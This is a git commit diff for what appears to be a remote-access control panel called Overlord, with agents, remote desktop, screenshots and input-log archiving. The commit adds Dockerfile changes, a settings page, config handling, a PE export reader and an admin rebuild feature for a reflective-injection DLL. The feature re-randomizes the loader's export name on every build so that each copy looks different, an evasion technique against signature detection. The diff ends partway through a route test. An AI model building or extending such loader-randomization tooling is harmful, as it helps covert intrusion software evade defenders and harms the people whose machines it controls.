entire new build system for backstage

This commit is contained in:
KingKDot
2026-08-19 21:01:22 -05:00
parent a489c4368b
commit c79a65d94d
12 changed files with 1058 additions and 68 deletions
+15 -7
View File
@@ -98,19 +98,22 @@ RUN --mount=type=cache,target=/root/.bun/install/cache \
# Server source (Overlord-Server/dist-clients may carry a pre-built DLL from a dev build)
COPY Overlord-Server/ ./
# BackstageInjection-Rust source for the cross-compile fallback (used only if no
# pre-built DLL is already present in dist-clients).
# BackstageInjection-Rust source is copied into the runtime stage too so the
# server can recompile + re-randomize the loader export name on demand
# (Settings -> Backstage DLL).
COPY BackstageInjection-Rust/ ./BackstageInjection-Rust/
COPY scripts/build-backstage-dll.sh ./scripts/
# Always compile the Backstage DLL from source so every image embeds a freshly
# randomized loader export name (build.rs picks a new `x<hex>` per build).
# Pass `--build-arg BACKSTAGE_FRESH=$(date +%s)` to defeat BuildKit layer
# caching and force a new random name even with unchanged source.
ARG BACKSTAGE_FRESH=
RUN mkdir -p dist-clients && \
if [ -f dist-clients/BackstageInjection.x64.dll ]; then \
echo "Using pre-built BackstageInjection DLL"; \
else \
chmod +x scripts/build-backstage-dll.sh && \
echo "Building BackstageInjection DLL (fresh=${BACKSTAGE_FRESH:-default})" && \
BACKSTAGE_CRATE_DIR=BackstageInjection-Rust BACKSTAGE_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \
echo "WARNING: BackstageInjection DLL not available (build it with cargo/MSVC on Windows)"; \
fi
echo "WARNING: BackstageInjection DLL build failed; runtime can rebuild on demand (Settings -> Backstage DLL)"
# Keep production build phases separate so BuildKit reports the exact slow or
# failing phase and can cache each completed phase independently.
@@ -178,6 +181,11 @@ COPY --from=builder /app/dist-clients ./dist-clients
COPY Overlord-Client/ ./Overlord-Client/
RUN test -s ./Overlord-Client/third_party/nvcodec/nvEncodeAPI.h
# Rust crate + build script needed for on-demand Backstage DLL recompilation
# (re-randomized loader export) at runtime.
COPY BackstageInjection-Rust/ ./BackstageInjection-Rust/
COPY scripts/build-backstage-dll.sh ./scripts/
RUN mkdir -p certs data
# Pre-seed Go module cache so first agent builds work offline.
+148
View File
@@ -303,6 +303,7 @@ async function renderPermissionsOverview() {
"system:chat",
"system:appearance",
"system:thumbnails",
"system:backstage-dll",
"system:input-archive",
"system:build-limits",
"system:export-import",
@@ -3024,6 +3025,10 @@ async function init() {
await loadThumbnailSettings();
initThumbnailHandlers();
}
if (userHas("system:backstage-dll")) {
await loadBackstageDllSettings();
initBackstageDllHandlers();
}
if (userHas("system:health")) {
await loadHealthStats();
initHealthHandlers();
@@ -3101,3 +3106,146 @@ async function init() {
}
init();
// ── Backstage DLL Settings ────────────────────────────────────────────────
let _backstageDllPollTimer = null;
function showBackstageDllMsg(text, type, targetEl) {
const el = targetEl || document.getElementById("backstage-dll-msg");
if (!el) return;
el.textContent = text;
if (type === "error") {
el.className = "text-sm rounded-lg px-3 py-2 border border-rose-800 bg-rose-900/20 text-rose-200";
} else if (type === "info") {
el.className = "text-sm rounded-lg px-3 py-2 border border-sky-800 bg-sky-900/20 text-sky-200";
} else {
el.className = "text-sm rounded-lg px-3 py-2 border border-emerald-800 bg-emerald-900/20 text-emerald-200";
}
el.classList.remove("hidden");
}
function renderBackstageDllStatus(status) {
if (!status) return;
const setText = (id, text) => {
const el = document.getElementById(id);
if (el) el.textContent = text;
};
setText("backstage-dll-export", status.exportName || (status.exists ? "(no randomized export?)" : "-"));
setText("backstage-dll-path", status.outputPath || "-");
setText("backstage-dll-size", formatBytes(status.sizeBytes));
setText("backstage-dll-crate", status.crateDir || "(crate not found)");
const tc = status.toolchainDetails || {};
const hint = [];
if (tc.cargoOnPath) hint.push("cargo on PATH");
if (tc.rustInstalled) hint.push("rust toolchain cached");
if (tc.rustTargetInstalled) hint.push("windows-gnu target ready");
if (tc.mingwReady) hint.push("mingw-w64 ready");
const tcEl = document.getElementById("backstage-dll-toolchain");
if (tcEl) {
tcEl.textContent = hint.length
? `Build tooling: ${hint.join(", ")}`
: "Build tooling: none detected (the first rebuild will download it into the data dir).";
}
const btn = document.getElementById("backstage-dll-rebuild-btn");
if (btn) btn.disabled = !!status.building;
const lastBuild = status.lastBuild;
if (lastBuild && lastBuild.finishedAt) {
showBackstageDllMsg(
`${lastBuild.ok ? "Last build succeeded" : "Last build failed"} (${formatDate(lastBuild.finishedAt)}): ${lastBuild.message}`,
lastBuild.ok ? "success" : "error",
document.getElementById("backstage-dll-lastbuild"),
);
if (status.building) {
showBackstageDllMsg("Rebuild in progress...", "info");
}
} else if (status.building) {
showBackstageDllMsg("Rebuild in progress...", "info");
}
}
async function loadBackstageDllSettings() {
if (!userHas("system:backstage-dll")) return;
try {
const res = await fetch("/api/settings/backstage-dll", { credentials: "include" });
if (!res.ok) return;
const data = await res.json();
renderBackstageDllStatus(data.status || {});
const el = document.getElementById("backstage-dll-rebuild-startup");
if (el) el.checked = !!(data.backstageDll && data.backstageDll.rebuildOnStartup);
} catch (e) {
console.error("Failed to load backstage DLL settings", e);
}
}
function initBackstageDllHandlers() {
const form = document.getElementById("backstage-dll-form");
if (form) form.addEventListener("submit", saveBackstageDllSettings);
const btn = document.getElementById("backstage-dll-rebuild-btn");
if (btn) btn.addEventListener("click", triggerBackstageDllRebuild);
}
async function saveBackstageDllSettings(e) {
e.preventDefault();
if (!requireUiPermission("system:backstage-dll", "Backstage DLL permission required.")) return;
const rebuildOnStartup = !!document.getElementById("backstage-dll-rebuild-startup")?.checked;
try {
const res = await fetch("/api/settings/backstage-dll", {
method: "PUT",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ rebuildOnStartup }),
});
const data = await res.json().catch(() => ({}));
if (!res.ok) {
showBackstageDllMsg(data.error || "Failed to save", "error");
return;
}
showBackstageDllMsg("Backstage DLL settings saved.", "success");
renderBackstageDllStatus(data.status || {});
} catch (err) {
console.error("Failed to save backstage DLL settings", err);
showBackstageDllMsg("Failed to save.", "error");
}
}
async function triggerBackstageDllRebuild() {
if (!requireUiPermission("system:backstage-dll", "Backstage DLL permission required.")) return;
try {
const res = await fetch("/api/settings/backstage-dll/rebuild", {
method: "POST",
credentials: "include",
});
const data = await res.json().catch(() => ({}));
if (!res.ok) {
showBackstageDllMsg(data.message || data.error || "Rebuild failed to start.", "error");
return;
}
showBackstageDllMsg("Rebuild started in the background.", "info");
pollBackstageDllStatus();
} catch (err) {
console.error("Failed to start backstage DLL rebuild", err);
showBackstageDllMsg("Failed to start rebuild.", "error");
}
}
function pollBackstageDllStatus() {
const tick = async () => {
try {
const res = await fetch("/api/settings/backstage-dll", { credentials: "include" });
if (!res.ok) return;
const data = await res.json();
renderBackstageDllStatus(data.status || {});
if (data.status && data.status.building) {
clearTimeout(_backstageDllPollTimer);
_backstageDllPollTimer = setTimeout(tick, 2000);
}
} catch (err) {
console.error("Failed to poll backstage DLL status", err);
}
};
clearTimeout(_backstageDllPollTimer);
tick();
}
+60
View File
@@ -130,6 +130,7 @@
<a data-target="chat-settings-section" class="settings-nav-link" data-permission="system:chat" style="--accent: 56 189 248"><i class="fa-solid fa-comments w-4 text-sky-400"></i><span>Team Chat</span></a>
<a data-target="registration-section" class="settings-nav-link" data-permission="system:registration" style="--accent: 52 211 153"><i class="fa-solid fa-user-plus w-4 text-emerald-400"></i><span>Registration</span></a>
<a data-target="thumbnails-section" class="settings-nav-link" data-permission="system:thumbnails" style="--accent: 56 189 248"><i class="fa-solid fa-images w-4 text-sky-400"></i><span>Screenshot Thumbnails</span></a>
<a data-target="backstage-dll-section" class="settings-nav-link" data-permission="system:backstage-dll" style="--accent: 251 146 60"><i class="fa-solid fa-gears w-4 text-orange-400"></i><span>Backstage DLL</span></a>
<a data-target="input-archive-admin-section" class="settings-nav-link" data-permission="system:input-archive" style="--accent: 250 204 21"><i class="fa-solid fa-database w-4 text-yellow-400"></i><span>Input Archive Admin</span></a>
<a data-target="build-rate-limit-section" class="settings-nav-link" data-permission="system:build-limits" style="--accent: 251 146 60"><i class="fa-solid fa-gauge-high w-4 text-orange-400"></i><span>Build Rate Limit</span></a>
<a data-target="section-appearance" class="settings-nav-link" data-permission="system:appearance" style="--accent: 232 121 249"><i class="fa-solid fa-palette w-4 text-fuchsia-400"></i><span>Branding</span></a>
@@ -1237,6 +1238,65 @@
<p id="thumbnails-msg" class="hidden text-sm rounded-lg px-3 py-2 border"></p>
</section>
<!-- Backstage DLL -->
<section id="backstage-dll-section" data-permission="system:backstage-dll" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
<div class="flex items-center gap-3">
<div class="flex items-center justify-center w-9 h-9 rounded-lg bg-orange-500/10 border border-orange-500/30">
<i class="fa-solid fa-gears text-orange-400"></i>
</div>
<div>
<h2 class="text-lg font-semibold">Backstage DLL</h2>
<p class="text-sm text-slate-400">Admin-only. Rebuild the BackstageInjection DLL to re-randomize the loader export name.</p>
</div>
</div>
<div class="text-xs text-slate-400 bg-slate-800/40 border border-slate-700/60 rounded-lg p-3">
<p>Each rebuild generates a new random <code class="text-orange-300">x&lthex&gt</code> export name for the reflective loader. The Go client and the C# build harness already locate the loader by pattern, so newly built DLLs are used without further changes. The rebuilt DLL is stored in the server data directory.</p>
</div>
<div class="grid grid-cols-1 sm:grid-cols-2 gap-3 text-sm">
<div class="rounded-lg bg-slate-900 border border-slate-800 px-3 py-2">
<div class="text-slate-400">Current export name</div>
<div id="backstage-dll-export" class="font-mono text-orange-300">-</div>
</div>
<div class="rounded-lg bg-slate-900 border border-slate-800 px-3 py-2">
<div class="text-slate-400">Active DLL</div>
<div id="backstage-dll-path" class="font-mono text-xs text-slate-200 break-all">-</div>
</div>
<div class="rounded-lg bg-slate-900 border border-slate-800 px-3 py-2">
<div class="text-slate-400">Size</div>
<div id="backstage-dll-size" class="font-medium text-slate-200">-</div>
</div>
<div class="rounded-lg bg-slate-900 border border-slate-800 px-3 py-2">
<div class="text-slate-400">Rust crate</div>
<div id="backstage-dll-crate" class="font-mono text-xs text-slate-200 break-all">-</div>
</div>
</div>
<div id="backstage-dll-toolchain" class="text-xs text-slate-400"></div>
<p id="backstage-dll-lastbuild" class="hidden text-sm rounded-lg px-3 py-2 border"></p>
<form id="backstage-dll-form" class="space-y-4">
<label class="flex items-start gap-3 p-3 rounded-lg border border-slate-700/60 bg-slate-900/40 hover:bg-slate-900/70 cursor-pointer transition-colors">
<input id="backstage-dll-rebuild-startup" type="checkbox" class="mt-1 h-4 w-4 accent-orange-500" />
<div>
<div class="text-sm font-medium text-slate-100">Recompile on server startup</div>
<div class="text-xs text-slate-400">Rebuild and re-randomize the DLL every time the server starts. Uses the persistent toolchain cache in the data dir.</div>
</div>
</label>
<div class="flex flex-wrap items-center gap-3">
<button type="submit" class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-sky-700 hover:bg-sky-600 transition-colors text-white text-sm font-medium">
<i class="fa-solid fa-floppy-disk"></i>Save
</button>
<button type="button" id="backstage-dll-rebuild-btn" class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-orange-700 hover:bg-orange-600 transition-colors text-white text-sm font-medium">
<i class="fa-solid fa-rotate"></i>Rebuild Now (re-randomize)
</button>
</div>
</form>
<p id="backstage-dll-msg" class="hidden text-sm rounded-lg px-3 py-2 border"></p>
</section>
<!-- Input Archive Admin -->
<section id="input-archive-admin-section" data-permission="system:input-archive" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
<div class="flex items-center gap-3">
+45 -4
View File
@@ -124,10 +124,13 @@ export interface Config {
buildSigning: {
banlist: string[];
};
thumbnails: {
thumbnails: {
dashboardEnabled: boolean;
wallEnabled: boolean;
};
backstageDll: {
rebuildOnStartup: boolean;
};
inputArchive: {
enabled: boolean;
retentionDays: number;
@@ -264,10 +267,13 @@ const DEFAULT_CONFIG: Config = {
buildSigning: {
banlist: [],
},
thumbnails: {
thumbnails: {
dashboardEnabled: true,
wallEnabled: true,
},
backstageDll: {
rebuildOnStartup: false,
},
inputArchive: {
enabled: false,
retentionDays: 7,
@@ -937,7 +943,7 @@ export function loadConfig(): Config {
? fileConfig.buildSigning.banlist.filter((v: unknown): v is string => typeof v === "string" && v.length > 0)
: [...DEFAULT_CONFIG.buildSigning.banlist],
},
thumbnails: {
thumbnails: {
dashboardEnabled:
envBoolOverride("OVERLORD_THUMBNAILS_DASHBOARD_ENABLED") ??
(fileConfig.thumbnails?.dashboardEnabled !== undefined
@@ -949,6 +955,13 @@ export function loadConfig(): Config {
? Boolean(fileConfig.thumbnails.wallEnabled)
: DEFAULT_CONFIG.thumbnails.wallEnabled),
},
backstageDll: {
rebuildOnStartup:
envBoolOverride("OVERLORD_BACKSTAGE_DLL_REBUILD_ON_STARTUP") ??
(fileConfig.backstageDll?.rebuildOnStartup !== undefined
? Boolean(fileConfig.backstageDll.rebuildOnStartup)
: DEFAULT_CONFIG.backstageDll.rebuildOnStartup),
},
inputArchive: {
enabled:
envBoolOverride("OVERLORD_INPUT_ARCHIVE_ENABLED") ??
@@ -1518,6 +1531,29 @@ export async function updateThumbnailsConfig(
return next;
}
export async function updateBackstageDllConfig(
updates: Partial<Config["backstageDll"]>,
): Promise<Config["backstageDll"]> {
const current = getConfig();
const next: Config["backstageDll"] = {
rebuildOnStartup:
updates.rebuildOnStartup !== undefined
? Boolean(updates.rebuildOnStartup)
: current.backstageDll.rebuildOnStartup,
};
configCache = {
...current,
backstageDll: next,
};
const fileConfig = readFileConfigForUpdate();
fileConfig.backstageDll = next;
await writePersistentFileConfig(fileConfig);
return next;
}
export function getBuildSigningSecrets(): BuildSigningSecrets | null {
const dataDir = ensureDataDir();
const savePath = resolve(dataDir, "save.json");
@@ -1733,11 +1769,16 @@ export async function importFullConfig(data: Record<string, any>): Promise<{ app
applied.push("buildRateLimit");
}
if (data.thumbnails && typeof data.thumbnails === "object") {
if (data.thumbnails && typeof data.thumbnails === "object") {
await updateThumbnailsConfig(data.thumbnails);
applied.push("thumbnails");
}
if (data.backstageDll && typeof data.backstageDll === "object") {
await updateBackstageDllConfig(data.backstageDll);
applied.push("backstageDll");
}
if (data.inputArchive && typeof data.inputArchive === "object") {
await updateInputArchiveConfig(data.inputArchive);
applied.push("inputArchive");
+9
View File
@@ -43,6 +43,7 @@ import { handleUsersRoutes } from "./server/routes/users-routes";
import { handlePermissionGroupsRoutes } from "./server/routes/permission-groups-routes";
import { handleWebSocketClose, handleWebSocketMessage, handleWebSocketOpen } from "./server/routes/websocket-lifecycle-routes";
import { handleWsUpgradeRoutes } from "./server/routes/ws-upgrade-routes";
import { rebuildBackstageDll } from "./server/backstage-dll-manager";
import { handleWebrtcRoutes } from "./server/routes/webrtc-routes";
import { handleRemoteDesktopRecordingRoutes } from "./server/routes/rd-recording-routes";
import { isAuthorizedAgentRequest } from "./server/agent-auth";
@@ -479,6 +480,14 @@ async function startServer() {
await cleanupFileTransferTempFiles(DATA_DIR);
logger.info("[filebrowser] cleaned stale transfer temp files on startup");
// Backstage (BackstageInjection) DLL: if configured, rebuild + re-randomize
// the reflective loader export name on startup without blocking the server.
if (getConfig().backstageDll.rebuildOnStartup) {
rebuildBackstageDll().catch((err) => {
logger.warn(`[backstage-dll] startup rebuild failed: ${(err as Error).message}`);
});
}
let tls:
| {
tlsOptions: { cert?: string; key?: string; ca?: string };
+4
View File
@@ -132,6 +132,10 @@ const PERMISSIONS = {
description: "Change screenshot thumbnail settings",
roles: ["admin"],
},
"system:backstage-dll": {
description: "Rebuild the BackstageInjection DLL and change its build settings",
roles: ["admin"],
},
"system:input-archive": {
description: "Change input log archive settings",
roles: ["admin"],
@@ -0,0 +1,87 @@
import { existsSync, readFileSync, statSync } from "fs";
import path from "path";
import { ensureDataDir } from "../paths";
import { logger } from "../logger";
import { resolveRuntimeRoot } from "./runtime-paths";
export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll";
// Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is
// used so a re-randomized (rebuild) copy survives container restarts and is
// preferred over the image-baked dist-clients copy. Overrideable for unusual
// deployments.
export function backstageDllOutputPath(): string {
const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim();
if (explicit) return path.resolve(explicit);
return path.join(ensureDataDir(), "dist-clients", BACKSTAGE_DLL_NAME);
}
function builtinDllCandidates(): string[] {
const runtimeRoot = resolveRuntimeRoot();
return [
path.resolve(runtimeRoot, "dist-clients", BACKSTAGE_DLL_NAME),
path.resolve(process.cwd(), "dist-clients", BACKSTAGE_DLL_NAME),
path.resolve(import.meta.dir, "../../dist-clients/BackstageInjection.x64.dll"),
];
}
export function injectionDllCandidates(): string[] {
// Fresh builds land in the data dir first; image-baked dist-clients copies
// are the offline fallback.
return [backstageDllOutputPath(), ...builtinDllCandidates()];
}
let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0;
export function invalidateBackstageDll(): void {
_cachedInjectionDll = null;
_dllCachePath = null;
_dllCacheMtimeMs = 0;
}
export function getInjectionDllBytes(): Uint8Array | null {
const candidates = injectionDllCandidates();
if (_dllCachePath) {
// If a freshly rebuilt DLL exists in the data dir but the cache points at
// an older path, rescan instead of serving stale bytes.
const freshOutput = backstageDllOutputPath();
if (path.resolve(_dllCachePath) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
try {
const st = statSync(_dllCachePath);
if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) {
return _cachedInjectionDll;
}
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
_dllCachePath = null;
_cachedInjectionDll = null;
}
} else {
_dllCachePath = null;
_cachedInjectionDll = null;
}
}
for (const dllPath of candidates) {
if (!existsSync(dllPath)) continue;
try {
const st = statSync(dllPath);
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
_dllCachePath = dllPath;
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
continue;
}
}
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
return null;
}
@@ -0,0 +1,399 @@
import fs from "fs";
import path from "path";
import { logger } from "../logger";
import { getConfig } from "../config";
import { ensureToolchain, getToolchainRoot } from "./toolchain-manager";
import { resolveRuntimeRoot } from "./runtime-paths";
import {
BACKSTAGE_DLL_NAME,
backstageDllOutputPath,
invalidateBackstageDll,
} from "./backstage-dll-cache";
type SendToStream = (data: { type: "output"; text: string; level?: string }) => void;
const RUST_TARGET = "x86_64-pc-windows-gnu";
export type BackstageDllBuildState = {
startedAt: number | null;
finishedAt: number | null;
ok: boolean | null;
message: string;
};
export type BackstageDllStatus = {
configured: { rebuildOnStartup: boolean };
outputPath: string;
exists: boolean;
sizeBytes: number;
mtimeMs: number;
exportName: string | null;
crateDir: string | null;
toolchainReady: boolean;
toolchainDetails: {
cargoOnPath: boolean;
rustInstalled: boolean;
rustTargetInstalled: boolean;
mingwReady: boolean;
};
building: boolean;
lastBuild: BackstageDllBuildState;
};
let _building = false;
let _lastBuild: BackstageDllBuildState = {
startedAt: null,
finishedAt: null,
ok: null,
message: "No build has been run yet.",
};
function rustToolchainRoot(): string {
return path.join(getToolchainRoot(), "rust");
}
function cargoBinPath(): string | null {
const exe = process.platform === "win32" ? "cargo.exe" : "cargo";
const installed = path.join(rustToolchainRoot(), "cargo", "bin", exe);
if (fs.existsSync(installed)) return installed;
return Bun.which("cargo") ? "cargo" : null;
}
function rustlibBaseDir(): string | null {
const toolchains = path.join(rustToolchainRoot(), "rustup", "toolchains");
if (!fs.existsSync(toolchains)) return null;
for (const entry of fs.readdirSync(toolchains)) {
const lib = path.join(toolchains, entry, "lib");
if (fs.existsSync(lib)) return lib;
}
return null;
}
function mingwGccPath(): string | null {
const explicit = Bun.which("x86_64-w64-mingw32-gcc");
if (explicit) return explicit;
const candidate = path.join(
getToolchainRoot(),
"mingw-w64-x64",
"x86_64-w64-mingw32-cross",
"bin",
"x86_64-w64-mingw32-gcc",
);
if (fs.existsSync(candidate)) return candidate;
return null;
}
function toolchainDetails() {
const installedRustHome = fs.existsSync(path.join(rustToolchainRoot(), "rustup"));
const rustlib = installedRustHome ? rustlibBaseDir() : null;
const rustTargetInstalled =
rustlib !== null && fs.existsSync(path.join(rustlib, "rustlib", RUST_TARGET));
return {
cargoOnPath: !!Bun.which("cargo"),
rustInstalled: cargoBinPath() !== null,
rustTargetInstalled,
mingwReady: mingwGccPath() !== null,
};
}
export function resolveBackstageCrateDir(): string | null {
const explicit = process.env.BACKSTAGE_CRATE_DIR?.trim();
if (explicit) return path.resolve(explicit);
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
path.resolve(runtimeRoot, "BackstageInjection-Rust"),
path.resolve(process.cwd(), "BackstageInjection-Rust"),
path.resolve(import.meta.dir, "../../../BackstageInjection-Rust"),
];
for (const candidate of candidates) {
if (fs.existsSync(path.join(candidate, "Cargo.toml"))) return candidate;
}
return null;
}
export function getBackstageDllStatus(): BackstageDllStatus {
const cfg = getConfig().backstageDll;
const outputPath = backstageDllOutputPath();
const details = toolchainDetails();
let exists = false;
let sizeBytes = 0;
let mtimeMs = 0;
let exportName: string | null = null;
try {
const st = fs.statSync(outputPath);
exists = true;
sizeBytes = st.size;
mtimeMs = st.mtimeMs;
exportName = readPeExportName(outputPath);
} catch {}
const toolchainReady =
process.platform === "win32"
? details.cargoOnPath && details.mingwReady
: details.rustInstalled && details.mingwReady;
return {
configured: { rebuildOnStartup: cfg.rebuildOnStartup },
outputPath,
exists,
sizeBytes,
mtimeMs,
exportName,
crateDir: resolveBackstageCrateDir(),
toolchainReady,
toolchainDetails: details,
building: _building,
lastBuild: { ..._lastBuild },
};
}
export async function rebuildBackstageDll(
sendToStream?: SendToStream,
): Promise<{ ok: boolean; message: string }> {
if (_building) {
return { ok: false, message: "A Backstage DLL rebuild is already in progress." };
}
const send: SendToStream = sendToStream ?? (() => {});
const crateDir = resolveBackstageCrateDir();
if (!crateDir) {
return {
ok: false,
message:
"BackstageInjection-Rust crate not found. Set BACKSTAGE_CRATE_DIR or place the crate next to the server runtime root.",
};
}
_building = true;
_lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." };
const outPath = backstageDllOutputPath();
const outDir = path.dirname(outPath);
try {
fs.mkdirSync(outDir, { recursive: true });
const env: Record<string, string> = {};
const binDirs: string[] = [];
if (process.platform !== "win32") {
const rust = await ensureToolchain("rust", send);
const cargoInInstall = fs.existsSync(
path.join(rust.rootDir, "cargo", "bin", "cargo"),
);
if (cargoInInstall) {
env.RUSTUP_HOME = path.join(rust.rootDir, "rustup");
env.CARGO_HOME = path.join(rust.rootDir, "cargo");
}
binDirs.push(rust.binDir);
const mingw = await ensureToolchain("mingw-w64-x64", send);
binDirs.push(mingw.binDir);
}
send({
type: "output",
text: `[backstage-dll] rebuilding ${BACKSTAGE_DLL_NAME} from ${crateDir} -> ${outPath}\n`,
level: "info",
});
logger.info(`[backstage-dll] building BackstageInjection DLL (target ${RUST_TARGET})`);
const fullEnv = pickStringEnv(process.env);
if (binDirs.length > 0) {
fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter);
}
Object.assign(fullEnv, env);
const proc = Bun.spawn(
[
"cargo",
"build",
"--release",
"--target",
RUST_TARGET,
"--manifest-path",
path.join(crateDir, "Cargo.toml"),
],
{ env: fullEnv, stdout: "pipe", stderr: "pipe" },
);
const streamLines = async (stream: ReadableStream<Uint8Array> | null) => {
if (!stream) return "";
let buf = "";
for await (const chunk of stream) {
const text = new TextDecoder().decode(chunk);
buf += text;
for (const line of text.split("\n")) {
if (line.trim()) {
send({ type: "output", text: `[cargo] ${line}\n`, level: "info" });
}
}
}
return buf;
};
const [stdoutText, stderrText] = await Promise.all([
streamLines(proc.stdout),
streamLines(proc.stderr),
]);
const exitCode = await proc.exited;
if (exitCode !== 0) {
const detail = stderrText.trim() || stdoutText.trim() || `cargo exit ${exitCode}`;
throw new Error(`cargo build failed (exit ${exitCode}): ${detail}`);
}
const built = path.join(crateDir, "target", RUST_TARGET, "release", "BackstageInjection.dll");
if (!fs.existsSync(built)) {
throw new Error(`Expected built DLL not found at ${built}`);
}
fs.copyFileSync(built, outPath);
const exportName = readPeExportName(outPath);
invalidateBackstageDll();
_lastBuild = {
startedAt: _lastBuild.startedAt,
finishedAt: Date.now(),
ok: true,
message: `DLL rebuilt at ${outPath} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}).`,
};
send({
type: "output",
text: `[backstage-dll] build complete: ${_lastBuild.message}\n`,
level: "info",
});
logger.info(`[backstage-dll] ${_lastBuild.message}`);
return { ok: true, message: _lastBuild.message };
} catch (error: any) {
const message = error?.message || String(error);
_lastBuild = {
startedAt: _lastBuild.startedAt,
finishedAt: Date.now(),
ok: false,
message,
};
send({ type: "output", text: `[backstage-dll] build failed: ${message}\n`, level: "error" });
logger.error(`[backstage-dll] rebuild failed: ${message}`);
return { ok: false, message };
} finally {
_building = false;
}
}
function pickStringEnv(env: NodeJS.ProcessEnv | Record<string, string | undefined>): Record<string, string> {
const out: Record<string, string> = {};
for (const [key, value] of Object.entries(env)) {
if (typeof value === "string") out[key] = value;
}
return out;
}
// ──────────────────────────────────────────────────────────────────────────
// Minimal PE export-table reader. Scans the names table for the per-build
// randomized `x<hex>` loader export emitted by build.rs.
// ──────────────────────────────────────────────────────────────────────────
const EXPORT_TOKEN_RE = /^x[0-9a-f]{6}$/;
export function readPeExportName(dllPath: string): string | null {
let bytes: Uint8Array;
try {
bytes = new Uint8Array(fs.readFileSync(dllPath));
} catch {
return null;
}
if (bytes.length < 0x40 || bytes[0] !== 0x4d || bytes[1] !== 0x5a) {
// No "MZ" DOS header.
return null;
}
const peOffset = readU32(bytes, 0x3c);
if (peOffset + 0x18 > bytes.length) return null;
if (bytes[peOffset] !== 0x50 || bytes[peOffset + 1] !== 0x45) return null; // "PE"
const coffOffset = peOffset + 4;
const numberOfSections = readU16(bytes, coffOffset + 2);
const sizeOfOptionalHeader = readU16(bytes, coffOffset + 16);
const optOffset = coffOffset + 20;
if (optOffset + sizeOfOptionalHeader > bytes.length) return null;
const magic = readU16(bytes, optOffset);
let ddOffset: number;
if (magic === 0x20b) {
ddOffset = optOffset + 112; // PE32+
} else if (magic === 0x10b) {
ddOffset = optOffset + 96; // PE32
} else {
return null;
}
if (ddOffset + 8 > bytes.length) return null;
const exportRva = readU32(bytes, ddOffset);
if (exportRva === 0) return null;
const sectionOffset = optOffset + sizeOfOptionalHeader;
const sections: Array<{ va: number; vsize: number; rawPtr: number; rawSize: number }> = [];
for (let i = 0; i < numberOfSections; i++) {
const base = sectionOffset + i * 40;
if (base + 40 > bytes.length) break;
sections.push({
va: readU32(bytes, base + 12),
vsize: readU32(bytes, base + 8),
rawPtr: readU32(bytes, base + 20),
rawSize: readU32(bytes, base + 16),
});
}
const rvaToOffset = (rva: number): number | null => {
const headersSize = sectionOffset + numberOfSections * 40;
if (rva < headersSize) return rva;
for (const section of sections) {
const span = Math.max(section.vsize, section.rawSize);
if (rva >= section.va && rva < section.va + span) {
return rva - section.va + section.rawPtr;
}
}
return null;
};
const exportOffset = rvaToOffset(exportRva);
if (exportOffset == null || exportOffset + 40 > bytes.length) return null;
const numberOfNames = readU32(bytes, exportOffset + 24);
const namesRva = readU32(bytes, exportOffset + 32);
if (numberOfNames === 0 || namesRva === 0) return null;
const namesOffset = rvaToOffset(namesRva);
if (namesOffset == null) return null;
for (let i = 0; i < numberOfNames; i++) {
const entryPos = namesOffset + i * 4;
if (entryPos + 4 > bytes.length) break;
const nameRva = readU32(bytes, entryPos);
const nameOffset = rvaToOffset(nameRva);
if (nameOffset == null) continue;
let end = nameOffset;
while (end < bytes.length && bytes[end] !== 0) end++;
if (end === bytes.length) continue;
const name = new TextDecoder().decode(bytes.subarray(nameOffset, end));
if (EXPORT_TOKEN_RE.test(name)) return name;
}
return null;
}
function readU16(bytes: Uint8Array, offset: number): number {
return bytes[offset] | (bytes[offset + 1] << 8);
}
function readU32(bytes: Uint8Array, offset: number): number {
return (
bytes[offset] |
(bytes[offset + 1] << 8) |
(bytes[offset + 2] << 16) |
(bytes[offset + 3] << 24)
);
}
@@ -0,0 +1,146 @@
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
import { getConfig, updateBackstageDllConfig } from "../../config";
import { generateToken } from "../../auth";
import { createUser, deleteUser, getUserById } from "../../users";
import { handleMiscRoutes } from "./misc-routes";
const root = `${process.env.TEMP || "."}/overlord-backstage-dll-route-${Date.now().toString(36)}`;
let adminUserId = 0;
let adminToken = "";
let viewerUserId = 0;
let viewerToken = "";
const deps = {
CORS_HEADERS: {},
SERVER_VERSION: "3.0.0",
PUBLIC_ROOT: ".",
DATA_DIR: root,
PLUGIN_ROOT: `${root}/plugins`,
tlsCertPath: `${root}/certs/server.crt`,
tlsKeyPath: `${root}/certs/server.key`,
tlsSource: "self-signed" as const,
requestIP: () => ({ address: "127.0.0.1" }),
getConsoleSessionCount: () => 0,
getRdSessionCount: () => 0,
getFileBrowserSessionCount: () => 0,
getProcessSessionCount: () => 0,
};
beforeAll(async () => {
const admin = await createUser(
`backstage_dll_admin_${Date.now().toString(36)}`,
"Aa1!BackstageDllAdmin_2026",
"admin",
"test",
);
if (!admin.success || !admin.userId) throw new Error("failed to create admin test user");
adminUserId = admin.userId;
adminToken = await generateToken(getUserById(adminUserId)!);
